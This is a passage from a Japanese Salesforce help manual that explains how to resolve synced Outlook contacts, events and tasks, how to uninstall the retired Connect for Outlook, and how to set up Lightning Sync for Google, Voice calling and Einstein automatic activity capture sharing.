取引先責任者に割り当てられないようにする取引先責任者のルック
アップ検索条件がある場合、そのような取引先は提案される取引先と
しては表示されませんし、また、取引先責任者に割り当てることもで
きません。

– [Salesforce.com の検索...] を選択します。ルックアップでは、
[新規] をクリックして取引先情報を入力し、さらに [保存] をクリック
するか、または、検索条件を入力して[Go!]をクリックし、該当する取
引先をクリックします。ルックアップが表示されない場合は、最初に
Salesforce のポップアップを使用する必要がある場合があります。

• 未割り当てのままにする: 取引先を持たない取引先責任者は未割り当ての
ままにすると確認する場合は、ドロップダウンリストから [新しい取引先
を割り当てない] を選択します。未割り当ての取引先責任者は、Salesforce

レコードには関連付けられず、自分とシステム管理者のみが参照できま
す。

• 競合がある場合に取引先責任者を選択する: メールの連絡先と Salesforce の
取引先責任者の会社が異なる場合、ドロップダウンリストから [新しい取引先を割り当てない]をクリッ
クして、他方の情報で上書きします。Salesforce を優先するよう設定している場合、Salesforce の取引先に
よってメールの連絡先の会社情報を上書きし、メールの連絡先を優先するよう設定している場合は、
メールの連絡先の情報で Salesforce 取引先を上書きします。

• 選択を取り消す: ドロップダウンリストから、[—指定なし—] を選択します。

3. [保存] をクリックして、変更を保存します。変更した項目はすべて、リストから削除されます。残りの項
目は同期を継続し、いつでも戻って解決できます。[キャンセル] をクリックすると、そのページでの変更
をすべて破棄します。取引先に割り当てられたすべての取引先責任者が、その取引先の取引先責任者関連
リストに示されるようになります。
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メモ: 取引先責任者の解決は、取引先責任者を非公開にするか、取引先に割り当てるかすることにより、
取引先責任者レコードからも行えます。
未解決の取引先責任者リストは、標準のリストビューのように機能します。[編集] または [新規ビューの
作成] をクリックし、条件を定義したり列をカスタマイズしたりします。

関連トピック:

私の未解決の項目
Salesforce for Outlook との取引先責任者 (連絡先) の同期
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同期した行動の解決

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方
(Windows システムトレイ
から Salesforce for Outlook
項目を解決するようメッ
セージが表示された場合
のみ)

使用可能なエディション:
すべてのエディション

ユーザ権限

未解決の行動を表示また
は編集する
• 行動に対する「編

集」、行動に割り当て
るオブジェクトに対す
る「参照」

および

行動に対する同期の有
効化

Salesforce レコードを新規
作成する
• 行動に対する「編集」

および

それらのオブジェクト
に対する「簡易作成の
表示」および「作成」

最近使用したデータを関
連レコード項目に表示す
る
• 検索設定での「ルック

アップのオートコンプ
リート」

Salesforce for Outlook または Lightning Sync を使用して、メールアプリケーションか
ら不定期な行動を同期すると、Salesforceカレンダーと [私の未解決の項目] ページ
に表示されます。このページを使用して、行動を関連する Salesforce レコードに
割り当てるか、未割り当てのままにすることを確認するかのいずれかが可能で
す。

メモ: 定期的な行動は [私の未解決の項目] ページには表示されません。代
わりに、カレンダーの定期的な行動に直接移動して、定期的な行動を
Salesforce レコードに関連付けることができます。

1. サイドバーショートカットの [未解決の項目]から未解決の行動にアクセスし
ます。

2. 行動を解決する方法に応じて、次のアクションのいずれかを選択します。
• 関連レコードに割り当てる: 一方または両方の項目に関連レコードを入力

します。必要に応じて、まず、ドロップダウンリストから正しいレコー
ドタイプを選択します。リードを割り当てる場合、それ以上のレコード
の割り当てはできません。割り当てをキャンセルするには、入力をクリ
アします。

• 未割り当てのままにする: [割り当てない]をクリックします。社内ミーティ
ングや個人的な予定など、割り当てられていない行動は他のレコードに
はリンクされず、自分だけに表示されます。

3. [保存] をクリックして、変更を保存します。変更した項目はすべて、リスト
から削除されます。残りの項目は同期を継続し、いつでも戻って解決できま
す。[キャンセル] をクリックすると、そのページでの変更をすべて破棄しま
す。行動は、関連付けられているレコードの [活動履歴] または [活動予定] 関
連リストに追加されます。行動に必須カスタム項目がある場合、または項目
が未解決の行動リストに追加された後に活動のカスタム項目が必要になった
場合は、変更を保存できません。

メモ: また、行動レコードを非公開にするか、[関連先] 項目と [名前] 項
目を使用して他の Salesforce レコードに割り当てることにより、行動レコー
ドの行動を解決することもできます。割り当てられた行動や非公開の行動
は、未解決の行動リストから自動的に削除されます。行動の説明を表示す
るには、件名の横にある をクリックします。

関連トピック:

私の未解決の項目
Salesforce for Outlook との行動の同期
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同期した Outlook ToDo の解決

エディション

使用可能なエディション:
Salesforce Classic および
Lightning Experience の両方
(Windows システムトレイ
から Salesforce for Outlook
項目を解決するようメッ
セージが表示された場合
のみ)

使用可能なエディション:
すべてのエディション

ユーザ権限

未解決の ToDo を参照また
は編集する
• ToDo に対する「編

集」、ToDo に割り当
てるオブジェクトに対
する「参照」

および

ToDo に対する同期の
有効化

Salesforce レコードを新規
作成する
• ToDo に対する「編

集」

および

それらのオブジェクト
に対する「簡易作成の
表示」および「作成」

最近使用したデータを関
連レコード項目に表示す
る
• 検索設定での「ルック

アップのオートコンプ
リート」

Salesforce for Outlook を使用して、Outlook から ToDo を同期すると、[私の未解決の
項目] ページに表示されます。このページを使用して、ToDo を関連する Salesforce

レコードに割り当てるか、未割り当てのままにすることを確認するかのいずれ
かが可能です。
1. サイドバーショートカットの[未解決の項目]から未解決の ToDo にアクセスし

ます。
2. ToDo を解決する方法に応じて、次のアクションのいずれかを選択します。

• 関連レコードに割り当てる: 一方または両方の項目に関連レコードを入力
します。必要に応じて、まず、ドロップダウンリストから正しいレコー
ドタイプを選択します。リードを割り当てる場合、それ以上のレコード
の割り当てはできません。割り当てをキャンセルするには、入力をクリ
アします。

• 未割り当てのままにする: [割り当てない]をクリックします。社内ミーティ
ングや個人的な予定など、割り当てられていない ToDo は他のレコードに
はリンクされず、自分のみに表示されます。

3. [保存] をクリックして、変更を保存します。変更した項目はすべて、リスト
から削除されます。残りの項目は同期を継続し、いつでも戻って解決できま
す。[キャンセル] をクリックすると、そのページでの変更をすべて破棄しま
す。ToDo は、関連付けられているレコードの [活動履歴] または [活動予定] 関
連リストに追加されます。ToDo に必須カスタム項目がある場合、または項目
が未解決の ToDo リストに追加された後に活動のカスタム項目が必要になっ
た場合は、変更を保存できません。

メモ: また、[関連先] 項目と [名前] 項目を使用して他の Salesforce レコー
ドに割り当てることにより、ToDo レコードの ToDo を解決することもできま
す。割り当てられた ToDo は、未解決の ToDo リストから自動的に削除され
ます。

関連トピック:

私の未解決の項目
ToDo の Salesforce for Outlook との同期

Connect for Outlook: (終了)
すでに終了となったConnect for Outlook製品に目を向けるのではなく、クラウドま
たはデスクトップベースの Microsoft インテグレーション製品である Lightning for

Outlook または Salesforce for Outlook を検討することを強くお勧めします。
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重要: Connect for Outlook は、Winter '16 をもって終了しました。つまり、Microsoft® Outlook® と Salesforce 間の取
引先責任者、行動、ToDo の同期が行われることはありません。
無効にしても心配いりません。Lightning for Outlook または Salesforce for Outlook に移行すれば、生産性がさら
に高まります。Salesforce システム管理者と相談のうえ、自分や同僚に最も適した製品を判断してくださ
い。

Connect for Outlook のアンインストール方法は?

Connect for Outlook のアンインストール方法は?

関連トピック:

Connect for Outlook のアンインストール方法は?

https://help.salesforce.com/HTViewSolution?id=000204943

Connect for Outlook のアンインストール方法は?

適切なメールインテグレーション製品の選択

Connect for Outlook のアンインストール方法は?

重要: Connect for Outlook は、Winter '16 をもって終了しました。つまり、Microsoft® Outlook® と Salesforce 間の取
引先責任者、行動、ToDo の同期が行われることはありません。
無効にしても心配いりません。Lightning for Outlook または Salesforce for Outlook に移行すれば、生産性がさら
に高まります。Salesforce システム管理者と相談のうえ、自分や同僚に最も適した製品を判断してくださ
い。

1. Microsoft® Outlook® を終了します。
2. Windows® で、コントロールパネルを開きます。
3. プログラムをアンインストールするオプションを選択します。
4. Salesforce Outlook Edition にスクロールし、プロンプトに従ってアンインストールします。

関連トピック:

https://help.salesforce.com/HTViewSolution?id=000204943

適切なメールインテグレーション製品の選択
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Lightning Sync for Google: Salesforce との取引先責任者と予定の同
期 (ベータ)

エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ソフトウェアのインストールや保守なしで、Google コンタクトと Google カレン
ダー™ の予定を Google と Salesforce 間で同期します。

メモ: このリリースには、Lightning Sync for Google のベータバージョンが含ま
れています。ベータバージョンは機能の品質は高いですが、既知の制限が
あります。Lightning Sync for Google は、Salesforce がドキュメント、プレスリ
リース、または公式声明で正式リリースを発表しない限り、正式リリース
されません。特定期間内の正式リリースあるいはリリースの有無は保証で
きません。現在正式にリリースされている製品および機能に基づいて購入
をご決定ください。Lightning Sync for Google に関するフィードバックと提案
は、「Lightning Sync」Success コミュニティに投稿してください。

システム管理者が会社の設定によって Google コンタクトと予定を Salesforce と同
期すると、生産性が向上します。これは、2 つのアプリケーションで重複して作
業をする必要がなくなるためです。Lightning Sync for Google は、自分のデスクでもモバイルデバイスからのリ
モート作業でも、作成および管理する取引先責任者と予定を同期できます。
Lightning SyncはSalesforceの取引先責任者を Google コンタクト (Gmail™からアクセス可能) と同期できます。Lightning

Sync は、Google カレンダー™ の予定を Salesforce と同期することもできます。

システム管理者は、Salesforceで設定を選択することによって、同期操作を定義します。次の場合の同期につい
てどのように設定されているかを尋ねましょう。
• 非公開の予定は同期されるか?

• カレンダーから削除した予定は Salesforce からも自動的に削除されるか?

• 予定は、関連する Salesforce 取引先責任者または関連するリードに自動的に関連付けられるか?

Lightning Sync for Google の制限事項
現在、Lightning Sync for Google では次のことができません。
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顧客への営業
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• Google コンタクトから Salesforce へのコンタクトの同期
• Salesforce から Google カレンダーへの行動の同期
• 定期的な行動の同期
• 行動の対応可能状況または予定あり状況の同期
• Salesforce の取引先責任者項目と行動項目に対応付けられる Google のコンタクト項目と予定項目の編集

Lightning Sync for Google を使用した取引先責任者と予定の同期の準備

Lightning Sync for Google を使用した取引先責任者の同期の準備
Lightning Sync for Google を使用するように設定されている場合に、Salesforceから Google コンタクトに同期して
いる取引先責任者を検索する方法について説明します。
Lightning Sync for Google を使用した行動の同期の準備
Salesforceシステム管理者によって Lightning Sync for Google を使用するように設定されている場合、Google カレ
ンダー™ から Salesforce に同期する行動を選択します。

関連トピック:

Lightning Sync for Microsoft® Exchange を使用した行動の同期の準備
私の未解決の項目

Lightning Sync for Google を使用した取引先責任者の同期の準備
エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Lightning Sync for Google を使用するように設定されている場合に、Salesforce から
Google コンタクトに同期している取引先責任者を検索する方法について説明し
ます。
Salesforceシステム管理者が取引先責任者の同期を開始すると、Lightning Syncによ
り Salesforce Sync という名前のグループが Google コンタクトに作成されま
す。Salesforceから Google へ同期した取引先責任者は、Salesforce Syncグルー
プ内にあります。それらの取引先責任者を使用したメールの送信やチャットを
試みると、Gmail™ は自動的にその取引先責任者にアクセスします。
Salesforce Sync グループは名前変更、移動、削除しないでください。これ
らを実行すると、Salesforce と Google コンタクト間の同期が停止する可能性があ
ります。
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Lightning Sync for Google を使用した行動の同期の準備
エディション

管理可能なエディション:
Salesforce Classic と
Lightning Experience の両方

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

Salesforceシステム管理者によって Lightning Sync for Google を使用するように設定さ
れている場合、Google カレンダー™から Salesforceに同期する行動を選択します。
システム管理者が Lightning Sync for Google を使用して Salesforce の行動を同期する
ように設定すると、行動は Google カレンダーから Salesforce に自動的に同期され
ます。
個人の行動が Salesforce に他の方法で同期されることを防げます。
• カレンダーアプリケーションに別のカレンダーを作成し、個人の行動を追跡

します Lightning Sync は、プライマリ Google カレンダーのみを Salesforce と同期
するように設計されています。

• 同期設定が非公開行動を同期するように設定されているかシステム管理者に
問い合わせます。非公開行動を同期しない場合は、Google カレンダーから
[非公開] オプションを指定して個人の行動を割り当てれば、これらの行動
は Salesforce と同期されません。

システム管理者が最初に同期を開始する前に、同期しない行動を管理することをお勧めします。行動を管理す
る前に同期を開始した場合でも、Salesforce から手動でそれらの行動を削除できます。
他の行動はカレンダーからSalesforceへ数分間隔で同期されます。多数の行動を同期する場合、初回の同期に時
間がかかることがあります。

Voice による電話の発着信

エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

Voice を使用すると、Salesforce を終了せずにテレフォニー機能にアクセスできま
す。電話の発信と着信、通話メモの追加、通話情報ログの記録が簡単にできま
す。Lightning Experience の電話番号項目 (取引先責任者、リード、およびリスト
ビューの番号など) からワンクリックで行うことができます。

メモ: 現時点では、米国とカナダへの発信電話のみがサポートされていま
す。
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通話は画面下部のユーティリティバーに表示されるため、通話中に複数の作業を行うことができます。関連レ
コードにアクセスしたり、通話パネルで直接通話メモを追加したり、ToDo、行動、または通話に関連する他の
レコードを作成したりできます。

ヒント: 自分に Voice 番号を割り当て、発信する電話が、不明な番号からのものとして表示されないよう
にしてください。

活動の詳細を活動タイムラインに自動的に追加するには、[自動ログ]を選択します。活動の終了後、詳細をさ
らに手動で追加することもできます。
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必要に応じて、Voice で電話を受信することもできます。[着信電話] には、関連する活動のリストが表示される
ため、関連情報へのアクセス権が必要です。アクセス権がないと、電話に応答することもできません。

30 秒以内に応答するか通話を破棄しないと、通話は終了します。電話の受信時に Lightning Experience を使用し
ていない場合、発信者は、相手が不在であるというメッセージを聞くことになります。ボイスメールが組織で
有効である場合は、20 件までのボイスメールメッセージを受信して保存することもできます。
Voice の設定方法については、Salesforce ヘルプの「Voice の設定」を参照してください。
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Voice 番号の割り当て
個人設定から Voice 番号を割り当て、発信および受信する電話が、不明な番号からのものとして表示されな
いようにします。
Voice の転送番号の割り当て
Voice コールを携帯電話またはメインのビジネス回線に転送し、電話を逃さないようにします。転送番号は
個人設定から簡単に割り当てることができます。
Voice のベストプラクティス
通話環境を最適にするには、適切な帯域幅でネットワークに有線接続し、有線ヘッドセットを使用して、
マシンで適切な環境を設定します。

Voice 番号の割り当て
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice コールに関連するメ
モを追加する
• 「音声時間 (分) にアク

セス」

アウトバウンド Voice コー
ルを発信する
• 「音声アウトバウンド

コールにアクセス」

インバウンド Voice コール
を受信する
• 「音声インバウンド

コールにアクセス」

個人設定から Voice 番号を割り当て、発信および受信する電話が、不明な番号か
らのものとして表示されないようにします。
1. 個人設定から、[クイック検索]ボックスに「私の音声設定」と入力し、[私の

音声設定] を選択します。
2. [今すぐ検索] をクリックします。
3. 国を選択して市外局番を入力し、使用可能な番号のリストを表示します。

番号を割り当てると、新しい番号を選択したり、使用可能な番号を表示した
りできなくなります。

4. 番号を選択します。
5. [保存] をクリックします。
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Voice の転送番号の割り当て
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

ユーザ権限

Voice コールに関連するメ
モを追加する
• 「音声時間 (分) にアク

セス」

アウトバウンド Voice コー
ルを発信する
• 「音声アウトバウンド

コールにアクセス」

インバウンド Voice コール
を受信する
• 「音声インバウンド

コールにアクセス」

Voice コールを携帯電話またはメインのビジネス回線に転送し、電話を逃さない
ようにします。転送番号は個人設定から簡単に割り当てることができます。
有効にすると、ブラウザと転送番号で電話が同時に着信します。
1. 個人設定から、[クイック検索]ボックスに「私の音声設定」と入力し、[私の

音声設定] を選択します。
2. [転送番号への電話を有効化] を選択します。
3. 転送電話番号を入力します。
4. [保存] をクリックします。

Voice のベストプラクティス
エディション

使用可能なエディション:
Lightning Experience

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、およ
び Unlimited Edition

Voice は有料オプションで
アドオンライセンスとし
て使用できます。

通話環境を最適にするには、適切な帯域幅でネットワークに有線接続し、有線
ヘッドセットを使用して、マシンで適切な環境を設定します。

適切な接続の使用
ワイヤレス接続は動作しますが、有線接続を強くお勧めします。
Voice コールは専用ネットワークにすることが最適です。Voice セッションごとに
最低 10 kbps を使用できるようにすることをお勧めしますが、Voice セッションご
とに 500 kbps 以上にすることが最適です。実行するアプリケーション (特に画面
共有アプリケーション) の数および開くブラウザのタブの数を制限することで
も、パフォーマンスは向上します。
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メモ: 場所をマスクするネットワークを使用した場合は、場所を表示するものとは料金が異なることがあ
ります。

最新の Chrome、Firefox、Edge ブラウザのいずれかを使用していることも確認してください。

高音質ヘッドセットによる通話
有線 USB ヘッドセットが最適に動作します。ワイヤレスまたは携帯電話のイヤフォンは動作しますが、通話品
質の問題が発生することがあります。
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販売ツールの設定および管理

Sales Cloud Einstein

営業用の人工知能 (AI) を次に示します。Sales Cloud Einsteinを使用すると、重要な予測、インテリジェントなおす
すめ、タイムリーな自動化により、営業プロセスのすべてのステップでチームの営業の生産性が大幅に向上し
ます。

メモ: 一部のサービスおよびサブスクリプションでは、この機能が有料オプションで用意されています。
価格設定についての詳細は、Salesforce のアカウントエグゼクティブにお問い合わせください。

Lightning Experience で使用可能

有料オプションで使用可能なエディション: Enterprise Edition、および Unlimited Edition

Sales Cloud Einstein は、チームの営業活動と CRM データから学習するユーザ独自のデータサイエンス部門です。
Einstein は、最良のリードの特定、商談のより効率的な成立、容易な顧客維持に役立ちます。
Sales Cloud Einstein には、多くの重要な AI 機能が含まれており、チームはその機能を使用してセールスプロセス
の各ステップで生産性を高めることができます。

メモ: インサイトは英語でのみ表示されます。

利点表示される場所実行する内容機能

レコード上で営業関連の
活動を追跡し、インサイ
トを生成します。

取引先、取引先責任者、
リード、商談、および個
人取引先の各レコード

チームのメールと行動
を、関連するレコードに
追加します。

自動活動取得

リードに優先度を付けて、
重点的に取り組む事項を
決定します。

リードレコード
リストビュー

取引開始の可能性に基づ
いて、1 ～ 100 のスコアで
リードを採点します。

リードインサイト

関連する最新情報を使用
して、より多くの商談を
成立させます。

ホームページ
商談レポート
商談リストビュー

商談に関する予測、おす
すめ、アラームを提供し
ます。

商談インサイト

Lightning for Outlook

Lightning for Gmail

顧客に影響するビジネス
展開についての最新情報
が常に得られます。

ホームページ
取引先レコード
Lightning for Outlook

取引先に関連する重要な
ビジネス展開を明らかに
します。

取引先インサイト
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利点表示される場所実行する内容機能

Lightning for Gmail

自動活動キャプチャ
もうメールの記録は必要ありません。これからはよりスマートな営業が始まります。自動活動キャプチャ
により、Google™ または Microsoft® Office 365® のアカウントを Salesforce に接続します。これで、メールと行動
は、関連する Salesforce の取引先、取引先責任者、リード、商談、個人取引先に自動的に追加されます。
リードインサイト
リードインサイトでは、どのリードが会社の取引開始の成功パターンに最も適合しているかが表示されま
す。
商談インサイト
商談に関して関連する更新情報を営業担当に提供し、さらに多くの案件成立に結び付けられるようにしま
す。成立の可能性が高い商談についての予測、フォローアップのアラーム、商談に関する重要な瞬間が発
生したことを示す通知を得ることができます。
取引先インサイト
人工知能を顧客と営業チームのリレーションの維持に役立てましょう。取引先インサイトでは、顧客に影
響する重要なビジネス展開についての最新情報が常に得られます。
Sales Cloud Einstein の設定に関する考慮事項
Sales Cloud Einsteinの設定前に、組織の共有モデルおよび組織に追加されているインストール済みパッケージ
に関する考慮事項を確認してください。
Sales Cloud Einstein の設定
Sales Cloud Einstein を設定するには、アプリケーション内の Einstein 設定アシスタントをガイドとして使用し
ます。Einstein を使用できるユーザを選択し、Einstein 機能を有効にして、営業担当がインサイトを表示でき
るようにページおよびリストビューを設定します。

自動活動キャプチャ
エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

もうメールの記録は必要ありません。これからはよりスマートな営業が始まり
ます。自動活動キャプチャにより、Google™または Microsoft® Office 365®のアカウン
トを Salesforce に接続します。これで、メールと行動は、関連する Salesforce の取
引先、取引先責任者、リード、商談、個人取引先に自動的に追加されます。
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Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御
[除外アドレス] リストと共有設定を使用して、自動活動キャプチャで Salesforce に追加するメールと行動、
およびそれらを表示できるユーザを制御できます。
追加のメールアカウントとカレンダーアカウントの Salesforce への接続
Sales Cloud Einstein または Inbox を使用している場合、Salesforce にメールおよびカレンダーを接続するように
求められます。さらに、その他に最大 4 つの Google™ および Microsoft® Office 365® アカウントを Salesforce に接
続できます。
活動レポートの確認
自動活動キャプチャで追加されたメールと行動など、営業活動に関する Wave サマリーレポートを参照しま
す。
自動活動キャプチャの使用に関するガイドライン
自動活動キャプチャを最大限に活用するには、そのしくみを理解していくつかのガイドラインに従います。
組織の自動活動キャプチャの最適化
営業担当が自動活動キャプチャを最大限に活用できるようにするため、Salesforce システム管理者はいくつ
かの手順を実行できます。営業担当にメールと行動のグループとの共有を許可し、活動レポートへのアク
セス権を付与し、組織の [除外アドレス] リストの設定を許可します。

関連トピック:

Sales Cloud Einstein

Inbox

2013

自動活動キャプチャ販売ツールの設定および管理



Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

[除外アドレス] リストと共有設定を使用して、自動活動キャプチャでSalesforceに
追加するメールと行動、およびそれらを表示できるユーザを制御できます。

メールと行動を共有するグループの設定
メールと行動をグループと共有するには、グループの所有者がグループを設
定する必要があります。自動活動キャプチャでメールと行動を自動的に
Salesforce に追加するユーザのみが、共有するグループを設定できます。
メールと行動のグループとの共有
コラボレーションを促進するため、メールと行動の完全なコンテンツをグ
ループと共有します。自動活動キャプチャでメールと行動を自動的にSalesforce

に追加するユーザのみが、メールと行動の共有対象を選択できます。最大 20

グループと共有できます。
メールと行動の全員との共有
メールと行動を全員と共有します。自動活動キャプチャでメールと行動を自動的にSalesforceに追加するユー
ザのみが、メールと行動の共有対象を選択できます。
メールと行動の共有の停止
メールと行動を誰とも共有しないように設定します。自動活動キャプチャでメールと行動を自動的にSalesforce

に追加するユーザのみが、メールと行動の共有対象を選択できます。
1 つのメールまたは行動の共有設定の変更
個別のメールまたは行動に対する特別な共有設定を選択します。自動活動キャプチャでメールと行動を自
動的に Salesforce に追加するユーザのみが、メールと行動の共有対象を選択できます。
特定のユーザに関連付けられたメールと行動の Salesforce への追加を防止
自動活動キャプチャによって、特定のユーザに関連付けられたメールと行動が Salesforce に追加されること
を防止します。これを行うには、[除外アドレス] リストにそのユーザのアドレスを追加します。

関連トピック:

自動活動キャプチャ

メールと行動を共有するグループの設定

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

メールと行動をグループと共有するには、グループの所有者がグループを設定
する必要があります。自動活動キャプチャでメールと行動を自動的に Salesforce

に追加するユーザのみが、共有するグループを設定できます。
1. [グループ] タブをクリックします。
2. グループを作成または更新します。
3. [メールと行動の共有の有効化]を選択します。このオプションを使用できな

い場合は、Salesforce システム管理者にこのオプションをグループレイアウト
に追加するように依頼してください。
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4. グループを保存します。
自動活動キャプチャでメールと行動を自動的に Salesforce に追加するこのグループのメンバーは、メールと
行動のグループとの共有を選択できます。

関連トピック:

営業担当によるグループとのメールと行動の共有
メールと行動のグループとの共有
Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御

メールと行動のグループとの共有
コラボレーションを促進するため、メールと行動の完全なコンテンツをグループと共有します。自動活動キャ
プチャでメールと行動を自動的に Salesforce に追加するユーザのみが、メールと行動の共有対象を選択できま
す。最大 20 グループと共有できます。
1. 個人設定から、[クイック検索] ボックスに「自動活動キャプチャ」と入力し、[自動活動キャプチャ] の [設

定] を選択します。
2. [すべてのメールと行動の共有設定] で、[変更] をクリックします。
3. [私のグループ] を選択し、共有するグループを選択します。
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個別の共有を設定しているメールと行動を除き、すべてのメールと行動に自動的に新しい共有設定が適用
されます。

関連トピック:

メールと行動を共有するグループの設定
営業担当によるグループとのメールと行動の共有
Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御

メールと行動の全員との共有
メールと行動を全員と共有します。自動活動キャプチャでメールと行動を自動的にSalesforceに追加するユーザ
のみが、メールと行動の共有対象を選択できます。
1. 個人設定から、[クイック検索] ボックスに「自動活動キャプチャ」と入力し、[自動活動キャプチャ] の [設

定] を選択します。
2. [すべてのメールと行動の共有設定] で、[変更] をクリックします。
3. [全員] を選択します。

個別の共有を設定しているメールと行動を除き、すべてのメールと行動に自動的に新しい共有設定が適用
されます。

関連トピック:

Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御

メールと行動の共有の停止
メールと行動を誰とも共有しないように設定します。自動活動キャプチャでメールと行動を自動的にSalesforce

に追加するユーザのみが、メールと行動の共有対象を選択できます。
1. 個人設定から、[クイック検索] ボックスに「自動活動キャプチャ」と入力し、[自動活動キャプチャ] の [設

定] を選択します。
2. [すべてのメールと行動の共有設定] で、[変更] をクリックします。
3. [自分のみ] を選択します。

個別の共有を設定しているメールと行動を除き、すべてのメールと行動に自動的に新しい共有設定が適用
されます。

関連トピック:

Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御

1 つのメールまたは行動の共有設定の変更
個別のメールまたは行動に対する特別な共有設定を選択します。自動活動キャプチャでメールと行動を自動的
に Salesforce に追加するユーザのみが、メールと行動の共有対象を選択できます。
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1. レコードでメールまたは行動を検索します。
2. メールまたは行動の既存の共有設定をクリックします。

3. 新規共有設定を選択して保存します。

関連トピック:

Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御

特定のユーザに関連付けられたメールと行動の Salesforce への追加を防止

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein で使用
可能なエディション:
Enterprise Edition および
Unlimited Edition

自動活動キャプチャによって、特定のユーザに関連付けられたメールと行動が
Salesforceに追加されることを防止します。これを行うには、[除外アドレス] リス
トにそのユーザのアドレスを追加します。
1. 個人設定から、[クイック検索]ボックスに[除外アドレス]と入力し、[除外ア

ドレス] をクリックします。
2. [除外アドレス] リストを更新します。

関連トピック:

組織の [除外アドレス] リストへのメールおよびドメインアドレスの追加
Salesforce に追加するメールと行動、およびそれらを表示できるユーザの制御
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追加のメールアカウントとカレンダーアカウントの Salesforce への接続

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

Sales Cloud Einstein を設定
する
• 「アプリケーションの

カスタマイズ」および
「すべてのデータの編
集」

Sales Cloud Einsteinまたは Inbox を使用している場合、Salesforceにメールおよびカレ
ンダーを接続するように求められます。さらに、その他に最大 4 つの Google™ お
よび Microsoft® Office 365® アカウントを Salesforce に接続できます。
1. 個人設定から、[クイック検索]ボックスに「自動活動キャプチャ」と入力し、

[自動活動キャプチャ] の [設定] を選択します。
2. [接続済みのアカウント] で、[新規アカウント] をクリックします。

3. アカウントを接続する手順に従います。
アカウントを接続したら、メールと行動が Salesforce の関連レコードに追加され
るまで最大 24 時間かかります。6 か月前まで遡って過去のメールと行動が追加
されます。

関連トピック:

自動活動キャプチャの使用に関するガイドライン
自動活動キャプチャ
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活動レポートの確認

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

ユーザ権限

活動レポートを確認する
• 「Wave Analytics デー

タをダウンロード」、
「Wave Analytics テン
プレートアプリケー
ションを管理」、およ
び「Wave Analytics テ
ンプレートアプリケー
ションを使用」

自動活動キャプチャで追加されたメールと行動など、営業活動に関する Wave サ
マリーレポートを参照します。

メモ:  [Einstein Analytics] タブが表示されない場合は、Salesforceシステム管理者
にアクセス権の付与を依頼してください。

1. [Einstein Analytics] タブをクリックします。
2. 活動レポートを確認します。

関連トピック:

営業担当の活動レポートへのアクセス権の付与
自動活動キャプチャ

自動活動キャプチャの使用に関するガイドライン

エディション

Lightning Experience で使用
可能

Sales Cloud Einstein および
Inbox で使用可能なエディ
ション: Professional
Edition、Enterprise
Edition、および Unlimited
Edition

自動活動キャプチャを最大限に活用するには、そのしくみを理解していくつか
のガイドラインに従います。

メールとカレンダーの Salesforce への接続
• Sales Cloud Einsteinまたは Inbox が設定されると、Salesforceにより、Google™ また

は Microsoft® Office 365®アカウントをSalesforceに接続するように求められます。
Salesforce によって指示される接続プロセスに従います。

• メールとカレンダーを Salesforce に接続すると、Salesforce は 6 か月前まで遡っ
て過去のメールと行動を追加します。
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メール
• Salesforceからメールを送信、返信、または転送するときに、メールは接続された Gmail または Office 365 アカ

ウントを介して送信されます。

カレンダー
• Google アカウントを Salesforce に接続すると、Google 行動を Salesforce カレンダーで表示できます (Salesforce で

の行動の変更は Google カレンダーには反映されません)。
• Salesforce カレンダーでは、表示している期間より 1 か月以上前の開始日、および 1 か月以上後の終了日の

Google の予定は表示されません。
• 2 日以上前に開始された Google または Outlook 予定表イベントを更新した場合、その更新は Salesforce には反

映されません。

活動レポート
• 活動を追跡するため、自動活動キャプチャには活動レポートが含まれています。各組織は、5 つの Wave ア

プリケーション権限セットライセンスを取得します。ライセンスとその関連システム権限が割り当てられ
ている場合、[Einstein Analytics] タブから活動レポートにアクセスできます。

その他のガイドライン
• Salesforce はメールまたは行動のメールアドレスをレコードのメールアドレスと比較して、メールや行動が

レコードに関連するかどうかを判断します。2 つのレコードのメールアドレスが同じ場合、Salesforceは更新
日が新しい方のレコードとメールまたは行動をマッチングします。つまり、メールまたは行動のマッチン
グが行われるレコードは、レコードを更新すると変更される場合があります。

• 個別のメールまたは行動をグループと共有し、そのグループを削除した場合、その個別のメールまたは行
動の設定が削除されます。

• すべての送信者と受信者はメールを所有します。すべてのゲストは行動を所有します。Salesforce で完全な
